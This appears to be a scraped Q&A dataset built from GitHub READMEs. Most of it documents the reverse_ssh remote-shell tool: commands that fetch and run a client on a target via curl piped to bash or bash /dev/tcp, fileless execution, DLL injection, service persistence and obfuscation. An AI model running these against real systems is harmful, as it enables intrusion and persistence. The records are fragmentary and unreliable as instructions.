{"id": "gh_c6d384d23081", "question": "How to: run UI tests", "question_body": "About thyrlian/AndroidSDK", "answer": "UI_TEST_APK=\"--app=\n/debug.apk --test=\n/androidTest.apk\"\nUI_TEST_TYPE=\"instrumentation\"\nUI_TEST_DEVICES=\"--device model=MODEL_ID,version=OS_VERSION_IDS,locale=en,orientation=portrait\"\nUI_TEST_RESULT_DIR=\"build-result\"\nUI_TEST_PROJECT=\"\n\"\ngcloud firebase test android run $UI_TEST_APK $UI_TEST_DEVICES --type=$UI_TEST_TYPE --results-dir=$UI_TEST_RESULTS_DIR --project=$UI_TEST_PROJECT", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036871"}
{"id": "gh_e9ab5c25a73e", "question": "How to: e.g.: to run 20 tests in parallel on 4 devices (5 tests per device): --num-uniform-shards=4", "question_body": "About thyrlian/AndroidSDK", "answer": "```\n\nLater you can view the test results (including the recorded video of test execution) in [Firebase Console](https://console.firebase.google.com), open your ***project***, navigate to **Test Lab**.\n\nTo learn more about Firebase Test Lab and Google Cloud SDK, please go and visit below links:\n\n* [Firebase Test Lab Overview](https://firebase.google.com/docs/test-lab/android/overview)\n\n* [Google Cloud SDK CLI Command Group for Android Application Testing](https://cloud.google.com/sdk/gcloud/reference/beta/firebase/test/android)", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036880"}
{"id": "gh_84e4c5a72ea2", "question": "How to: OOM behaviour", "question_body": "About thyrlian/AndroidSDK", "answer": "Sometimes you may encounter OOM (Out of Memory) issue.  The issues vary in logs, while you could find the essence by checking the exit code (`echo $?`).\n\nFor demonstration, below examples try to execute [MemoryFiller](https://github.com/thyrlian/AndroidSDK/blob/master/misc/MemoryFiller/MemoryFiller.java) which can fill memory up quickly.\n\n* **Exit Code** `137` (= 128 + 9 = SIGKILL = Killed)\n\n  Example code:\n  \n    ```bash\n    # spin up a container with memory limit (128MB)\n    docker run -it -m 128m -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash\n    # fill memory up\n    cd /root/MemoryFiller && javac MemoryFiller.java\n    java MemoryFiller\n    ```\n\n  Logs:\n  \n    ```console\n    Killed\n    ```\n\n  Commentary: The process was in extreme resource starvation, thus was killed by the kernel OOM killer.  This happens when **JVM max heap size > actual container memory**.  Similarly, the logs could look like this when running a gradle task in an Android project: `Process 'Gradle Test Executor 1' finished with non-zero exit value 137`.\n\n* **Exit Code** `1` (= SIGHUP = Hangup)\n\n  Example code:\n  \n    ```bash\n    # spin up a container with memory limit (or without - both lead to the same result)\n    docker run -it -m 128m -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash\n    # fill memory up\n    # enable Docker memory limits transparency for JVM\n    cd /root/MemoryFiller && javac MemoryFiller.java\n    java -XX:+UnlockExperimentalVMOptions -XX:+UseCGroupMemoryLimitForHeap MemoryFiller\n    ```\n\n  Logs:\n  \n    ```console\n    Exception in thread \"main\" java.lang.OutOfMemoryError: Java heap space at MemoryFiller.main(MemoryFiller.java:13)\n    ```\n\n  Commentary: With [enabling Docker memory limits transparency for JVM](https://blogs.oracle.com/java-platform-group/java-se-support-for-docker-cpu-and-memory-limits), JVM is able to correctly estimate the max heap size, and it won't be killed by the kernel OOM killer any more.  Similarly, the logs could look like this when running a gradle task in an Android project: `Process 'Gradle Test Executor 1' finished with non-zero exit value 1`.  In this case, you should either check your code or tweak your memory limit for container (or JVM heap parameters, or even the host memory size).\n\n* **Exit Code** `3` (= SIGQUIT = Quit)\n\n  Example code:\n  \n    ```bash\n    # spin up a container without memory limit\n    docker run -it -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash\n    # fill memory up\n    cd /root/MemoryFiller && javac MemoryFiller.java\n    # make sure that Docker memory resource is big enough > JVM max heap size\n    # otherwise it's better to run with UnlockExperimentalVMOptions & UseCGroupMemoryLimitForHeap enabled\n    java -XX:+ExitOnOutOfMemoryError MemoryFiller\n    ```\n\n  Logs:\n  \n    ```console\n    Terminating due to java.lang.OutOfMemoryError: Java heap space\n    ```\n\n  Commentary: JRockit JVM exits on the first occurrence of an OOM error. It can be used if you prefer restarting an instance of JRockit JVM rather than handling OOM errors.\n\n* **Exit Code** `134` (= 128 + 6 = SIGABRT = Abort)\n\n  Example code:\n  \n    ```bash\n    # spin up a container without memory limit\n    docker run -it -v $(pwd)/misc/MemoryFiller:/root/MemoryFiller thyrlian/android-sdk /bin/bash\n    # fill memory up\n    cd /root/MemoryFiller && javac MemoryFiller.java\n    # make sure that Docker memory resource is big enough > JVM max heap size\n    # otherwise it's better to run with UnlockExperimentalVMOptions & UseCGroupMemoryLimitForHeap enabled\n    java -XX:+CrashOnOutOfMemoryError MemoryFiller\n    ```\n\n  Logs:\n  \n    ```console\n    Aborting due to java.lang.OutOfMemoryError: Java heap space\n    #\n    # A fatal error has been detected by the Java Runtime Environment:\n    #\n    #  Internal Error (debug.cpp:308), pid=63, tid=0x00007f208708d700\n    #  fatal error: OutOfMemory encountered: Java heap space\n    #\n    # JRE version: OpenJDK Runtime Environment (8.0_131-b11) (build 1.8.0_131-8u131-b11-2ubuntu1.16.04.3-b11)\n    # Java VM: OpenJDK 64-Bit Server VM (25.131-b11 mixed mode linux-amd64 compressed oops)\n    # Failed to write core dump. Core dumps have been disabled. To enable core dumping, try \"ulimit -c unlimited\" before starting Java again\n    #\n    # An error report file with more information is saved as:\n    # /root/MemoryFiller/hs_err_pid63.log\n    #\n    # If you would like to submit a bug report, please visit:\n    #   http://bugreport.java.com/bugreport/crash.jsp\n    #\n    Aborted\n    ```\n\n  Commentary: JRockit JVM crashes and produces text and binary crash files when an OOM error occurs.  When JVM crashes with a fatal error, an error report file `hs_err_pid***.log` will be generated in the same working directory.", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036908"}
{"id": "gh_9f89cd4a4cef", "question": "How to: find the location of systemd unit file", "question_body": "About thyrlian/AndroidSDK", "answer": "systemctl status docker\n#=> docker.service - Docker Application Container Engine\n#=> Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled)\n\nsudo sed -i.bak 's?ExecStart.*?ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2376 -H unix:///var/run/docker.sock?g' /lib/systemd/system/docker.service\nsudo systemctl daemon-reload\nsudo systemctl restart docker.service", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036920"}
{"id": "gh_180f07938854", "question": "How to: Release guide", "question_body": "About thyrlian/AndroidSDK", "answer": "* Go to the top-level directory of this project\n\n* Execute [`image-publisher.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/image-publisher.sh) script\n\n  ```console\n  ./image-publisher.sh [TAG]\n  ```\n\n* Execute [`version-inspector.sh`](https://github.com/thyrlian/AndroidSDK/blob/master/android-sdk/version-inspector.sh) script inside a docker container from local machine to check versions of tools\n\n  ```console\n  cmd=$(cat ./android-sdk/version-inspector.sh) && docker run -it --rm android-sdk bash -c \"$cmd\"\n  ```\n\n* Update [Changelog](https://github.com/thyrlian/AndroidSDK/blob/master/CHANGELOG.md) based on the versions info printed by the above commands\n\n* Create a new tag (name it the version number, just like: `x.x`) with the corresponding commit in Git and publish the tag", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1367, "answer_score": 10, "has_code": true, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036927"}
{"id": "gh_c751e3dd08b6", "question": "How to: Contributing", "question_body": "About thyrlian/AndroidSDK", "answer": "Your contribution is always welcome, which will for sure make the Android SDK Docker solution better.  Please check the [contributing guide](./CONTRIBUTING.md) to get started!  Thank you ☺", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036934"}
{"id": "gh_75f5f8cfc55d", "question": "How to: Stargazers over time", "question_body": "About thyrlian/AndroidSDK", "answer": "[![Stargazers over time](https://starchart.cc/thyrlian/AndroidSDK.svg)](https://starchart.cc/thyrlian/AndroidSDK)", "tags": ["thyrlian"], "source": "github_gists", "category": "thyrlian", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1367, "answer_score": 10, "has_code": false, "url": "https://github.com/thyrlian/AndroidSDK", "collected_at": "2026-01-17T12:56:04.036939"}
{"id": "gh_684e1eba694c", "question": "How to: Start the server", "question_body": "About NHAS/reverse_ssh", "answer": "docker run -p3232:2222 -e EXTERNAL_ADDRESS=\n:3232 -e SEED_AUTHORIZED_KEYS=\"$(cat ~/.ssh/id_ed25519.pub)\" -v ./data:/data reversessh/reverse_ssh\n```\n\nor docker compose:\n\n```yaml\nservices:\n  reversessh:\n    image: reversessh/reverse_ssh\n    ports:\n      - \"3232:2222\"\n    environment:\n      - EXTERNAL_ADDRESS=\n:3232\n      - RSSH_CONSOLE_LABEL=c2.label\n      - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL\n      - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY}\n    volumes:\n      - ./data:/data\n```", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434327"}
{"id": "gh_c935ae92c377", "question": "How to: Build a new client and host it on the in-built webserver", "question_body": "About NHAS/reverse_ssh", "answer": "catcher$ link\nhttp://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434344"}
{"id": "gh_b36e72526e78", "question": "How to: curl or wget this binary to a target system then execute it,", "question_body": "About NHAS/reverse_ssh", "answer": "curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh |  bash", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434350"}
{"id": "gh_e0d09f998a90", "question": "How to: then we can then list what clients are connected", "question_body": "About NHAS/reverse_ssh", "answer": "catcher$ ls\n                                 Targets\n+------------------------------------------+-----------------------------------+\n| IDs                                      | Version                           |\n+------------------------------------------+-----------------------------------+\n| a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 |\n| fe6c52029e37185e4c7d512edd67a6c7694e2995 |                                   |\n| dummy.machine                            |                                   |\n| 192.168.0.11:34542                       |                                   |\n+------------------------------------------+-----------------------------------+\n```\n\nAll commands support the `-h` flag for giving help.\n\nThen typical ssh commands work, just specify your rssh server as a jump host.\n\n```sh", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434358"}
{"id": "gh_19cdb15e0d79", "question": "How to: Connect to full shell", "question_body": "About NHAS/reverse_ssh", "answer": "ssh -J your.rssh.server.internal:3232 dummy.machine", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434363"}
{"id": "gh_a0e32138a2e0", "question": "How to: Start remote forward", "question_body": "About NHAS/reverse_ssh", "answer": "ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434377"}
{"id": "gh_a7281510019f", "question": "How to: Start dynamic forward", "question_body": "About NHAS/reverse_ssh", "answer": "ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434382"}
{"id": "gh_d04a538e84f6", "question": "How to: Individuals", "question_body": "About NHAS/reverse_ssh", "answer": "[chikamobina](https://github.com/chikamobina) for their generous donations!  \n[wrighterase (ctrlzero)](https://github.com/wrighterase) for their pull requests and donation!", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434388"}
{"id": "gh_d01672378fe6", "question": "How to: Privileges", "question_body": "About NHAS/reverse_ssh", "answer": "The RSSH server supports very basic user privileges, where users found in the `data-directory`/`keys` (specified by `--datadir`) folder e.g `data-directory/keys/jim` will be assigned as a \"user\" only able to see clients that are public (found in the authorized_controllee_keys file without an `owners` tag, or an empty `owners` tag) or specifically assigned to them, e.g `owners=\"jim\"`. \n\nThis can be changed at run time via an user sharing access to a client they own with the `access` command, or a server administrator. Defaultly, any public key found in the `authorized_keys` file will be marked as an administrator to retain backwards compatibility.\nAny changes made by the `access` command will not persist server reboot, and this will require editing the `authorized_controllee_keys` file for that specific client.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434397"}
{"id": "gh_0f872c41392b", "question": "How to: Automatic connect-back", "question_body": "About NHAS/reverse_ssh", "answer": "The rssh client allows you to bake in a connect back address.\nBy default the `link` command will bake in the servers external address.\n\nIf you're (for some reason) manually building the binary, you can specify the environment variable `RSSH_HOMESERVER` to bake it into the client:\n\n```sh\n$ RSSH_HOMESERVER=your.rssh.server.internal:3232 make", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434403"}
{"id": "gh_dc36c7581f48", "question": "How to: Reverse shell download (client generation and in-built HTTP/Raw TCP server)", "question_body": "About NHAS/reverse_ssh", "answer": "The RSSH server can build and host client binaries (`link` command). Which is the preferred method for building and serving clients.\nFor function to work the server must be placed in the project `bin/` folder, as it needs to find the client source.\n\nBy default the `docker` release has this all built properly, and is recommended for use\n\n```sh\nssh your.rssh.server.internal -p 3232\n\ncatcher$ link -h\n\nlink [OPTIONS]\nLink will compile a client and serve the resulting binary on a link which is returned.\nThis requires the web server component has been enabled.\n        --fingerprint   Set RSSH server fingerprint will default to server public key\n        --garble        Use garble to obfuscate the binary (requires garble to be installed)\n        --goarch        Set the target build architecture (default runtime GOARCH)\n        --goarm Set the go arm variable (not set by default)\n        --goos  Set the target build operating system (default runtime GOOS)\n        --http  Use http polling as the underlying transport\n        --https Use https polling as the underlying transport\n        --log-level     Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED]\n        --lzma  Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set)\n        --name  Set the link download url/filename (default random characters)\n        --no-lib-c      Compile client without glibc\n        --ntlm-proxy-creds      Set NTLM proxy credentials in format DOMAIN\\\\USER:PASS\n        --owners        Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson\n        --proxy Set connect proxy address to bake it\n        --raw-download  Download over raw TCP, outputs bash downloader rather than http\n        --shared-object Generate shared object file\n        --sni   When TLS is in use, set a custom SNI for the client to connect with\n        --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored\n        --tls   Use TLS as the underlying transport\n        --upx   Use upx to compress the final binary (requires upx to be installed)\n        --use-kerberos  Instruct client to try and use kerberos ticket when using a proxy\n        --working-directory     Set download/working directory for automatic script (i.e doing curl https://\n.sh)\n        --ws    Use plain http websockets as the underlying transport\n        --wss   Use TLS websockets as the underlying transport\n        -C      Comment to add as the public key (acts as the name)\n        -l      List currently active download links\n        -o      Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson\n        -r      Remove download link\n        -s      Set homeserver address, defaults to server --external_address if set, or server listen address if not", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434416"}
{"id": "gh_73a1211e4784", "question": "How to: Generate a client and serve it on a named link", "question_body": "About NHAS/reverse_ssh", "answer": "catcher$ link --name test\nhttp://your.rssh.server.internal:3232/test\n```\n\nThen you can download it as follows:\n\n```sh\nwget http://your.rssh.server.internal:3232/test\nchmod +x test\n./test\n```\n\nOr you can use raw tcp to download the client binary:\n```sh\nbash -c \"exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3\" > test\n```\nThe format for this is just `RAW` followed by the filename, i.e in this case `test`, rssh can autogenerate this for you with `--raw-download`.\n\nThe RSSH server also supports `.sh`, `.py` and `.ps1` URL path endings which will generate a script you can pipe into an intepreter:\n```sh\ncurl http://your.rssh.server.internal:3232/test.sh | sh\n```", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434425"}
{"id": "gh_2360f39a6e50", "question": "How to: Alternate Transports (HTTP/Websockets/TLS)", "question_body": "About NHAS/reverse_ssh", "answer": "The reverse SSH server and client both support multiple transports for when deep packet inspection blocks SSH outbound from a host or network. \nYou can either specify the connect back scheme manually by specifying it as a url in the client. \n\nE.g\n```sh\n./client -d ws://your.rssh.server:3232\n```\n\nOr by baking it in with the `link` command. \n```sh\nssh your.rssh.server -p 3232 link --ws --name test\n```", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434431"}
{"id": "gh_937a58a8e4fc", "question": "How to: Windows DLL Generation", "question_body": "About NHAS/reverse_ssh", "answer": "You can compile the client as a DLL to be loaded with something like [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1). Which is useful when you want to do fileless injection of the rssh client.\n\nThis will need a cross compiler if you are doing this on linux, use `mingw-w64-gcc`, this is included in the docker release.\n\n```bash", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434446"}
{"id": "gh_c5af7e4fb61d", "question": "How to: Using the link command", "question_body": "About NHAS/reverse_ssh", "answer": "catcher$ link --goos windows --shared-object --name windows_dll\nhttp://your.rssh.server.internal:3232/windows_dll", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434451"}
{"id": "gh_162c18052122", "question": "How to: If building manually", "question_body": "About NHAS/reverse_ssh", "answer": "CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll\n```", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434456"}
{"id": "gh_2926b84a5012", "question": "How to: SSH Subsystems", "question_body": "About NHAS/reverse_ssh", "answer": "The SSH protocol supports calling subsystems with the `-s` flag. In RSSH this is repurposed to provide special commands for platforms, and `sftp` support.\n\n#### All\n\n`list`  Lists avaiable subsystem\n\n`sftp`: Runs the sftp handler to transfer files\n\n#### Linux\n\n`setgid`:   Attempt to change group\n\n`setuid`:   Attempt to change user\n\n#### Windows\n`service`: Installs or removes the rssh binary as a windows service, requires administrative rights\n\ne.g\n\n```sh", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434463"}
{"id": "gh_251949de07a5", "question": "How to: Install the rssh binary as a service (windows only)", "question_body": "About NHAS/reverse_ssh", "answer": "ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install\n```", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434468"}
{"id": "gh_6dd00a04f1db", "question": "How to: Windows Service Integration", "question_body": "About NHAS/reverse_ssh", "answer": "The client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434474"}
{"id": "gh_d10871b9e3b5", "question": "How to: Full Windows Shell Support", "question_body": "About NHAS/reverse_ssh", "answer": "Most reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we're all very fond of.\nThis project uses `conpty` on newer versions of windows, and the `winpty` library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434479"}
{"id": "gh_8245f6a8fa96", "question": "How to: Fileless execution (Clients support dynamically downloading executables to execute as shell)", "question_body": "About NHAS/reverse_ssh", "answer": "When specifying what executable the rssh binary should run, either when connecting with a full PTY session or raw execution the client supports URI schemes to download offhost executables.\n\nFor example.\n\n```sh\nconnect --shell https://your.host/program\nssh -J your.rssh.server:3232\nhttps://your.host/program\n```\n\n#### Supported URI Schemes\n\n`http/https`: Pure web downloading\n\n`rssh`: Download via the rssh server\n\nThe rssh server will serve content from the `downloads` directory in the executables working directory.\n\nBoth of these methods will opportunistically use [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html) which will not write any executables to disk.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434490"}
{"id": "gh_1104f23129b5", "question": "How to: Session spawn errors (0xc0000142)", "question_body": "About NHAS/reverse_ssh", "answer": "Under some execution circumstances connecting to an RSSH client on windows may fail with no error. \n\n```sh\ncatcher$ connect windows-system\nSession has terminated.\n```\n\nClient logs:\n```sh\n2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: \"shell\"\n2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned\n2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected\n```\n\nThere are two common causes for this, the first being antivirus has killed the spawned powershell, and the other `0xc0000142` is when the resulting process does not have the permissions to access the Windows Station or Desktop [source](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230).\n\nTo determine which is causing this issue, execute any command without a pty: \n\n```sh\nssh -J rssh windows-system cmd /c dir                                \nexit status 0xc0000142\n```\n\nIf you see the `0xc0000142` error code try starting `CMD.exe` and force allocating a pty (`-t`):\n\n```sh\nssh -t -J rssh windows-system CMD.exe\n```\n\nThis should start an interactive shell.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1308, "answer_score": 10, "has_code": true, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434499"}
{"id": "gh_e6cf9c9446a2", "question": "How to: Server started with `--insecure` still has `Failed to handshake`", "question_body": "About NHAS/reverse_ssh", "answer": "If the client binary was generated with the `link` command this client has the server public key fingerprint baked in by default. If you lose your server private key, the clients will no longer be able to connect.\nYou can also generate clients with `link --fingerprint\n` to specify a fingerprint, there isnt currently a way to disable this as per version 1.0.13.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434505"}
{"id": "gh_933d35a6d1eb", "question": "How to: Foreground vs Background", "question_body": "About NHAS/reverse_ssh", "answer": "By default, clients will run in the background then the parent process will exit, the child process will be given the parent processes stdout/stderr so you will be able to see output. If you need to debug your client, use the `--foreground` flag.", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434510"}
{"id": "gh_5eb5bf09946c", "question": "How to: Donations, Support, or Giving Back", "question_body": "About NHAS/reverse_ssh", "answer": "The easiest way to give back to the RSSH project is by finding bugs, opening feature requests and word-of-mouth advertising it to people you think will find it useful!\n\nHowever, if you want to give something back to me directly, you can do so either through Kofi or Github Sponsors (under \"Sponsor this Project\" on the right hand side).\nOr donate to me by sending to the either of the following wallets:\n\nMonero (XMR):\n`8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND`\nBitcoin (BTC):\n`bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`", "tags": ["NHAS"], "source": "github_gists", "category": "NHAS", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1308, "answer_score": 10, "has_code": false, "url": "https://github.com/NHAS/reverse_ssh", "collected_at": "2026-01-17T12:56:08.434517"}
{"id": "gh_e503cd133529", "question": "How to: CZMQ - High-level C binding for ØMQ", "question_body": "About zeromq/czmq", "answer": "| Linux & MacOSX | Windows  |\n|:--------------:|:--------:|\n|[![Build Status](https://travis-ci.com/zeromq/czmq.svg?branch=master)](https://travis-ci.com/zeromq/czmq)|[![Build status](https://ci.appveyor.com/api/projects/status/q7y22juu3pnl5wq6?svg=true)](https://ci.appveyor.com/project/zeromq/czmq)|", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479380"}
{"id": "gh_0a3d97a1e1d0", "question": "How to: Scope and Goals", "question_body": "About zeromq/czmq", "answer": "CZMQ has these goals:\n\n* To wrap the ØMQ core API in semantics that lead to shorter, more readable applications.\n* To hide as far as possible the differences between different versions of ØMQ (2.x, 3.x, 4.x).\n* To provide a space for development of more sophisticated API semantics.\n* To wrap the ØMQ security features with high-level tools and APIs.\n* To become the basis for other language bindings built on top of CZMQ.\n\nCZMQ grew out of concepts developed in [ØMQ - The Guide](http://zguide.zeromq.org).", "tags": ["zeromq"], "source": "github_gists", "category": "zeromq", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1257, "answer_score": 10, "has_code": false, "url": "https://github.com/zeromq/czmq", "collected_at": "2026-01-17T12:56:12.479409"}
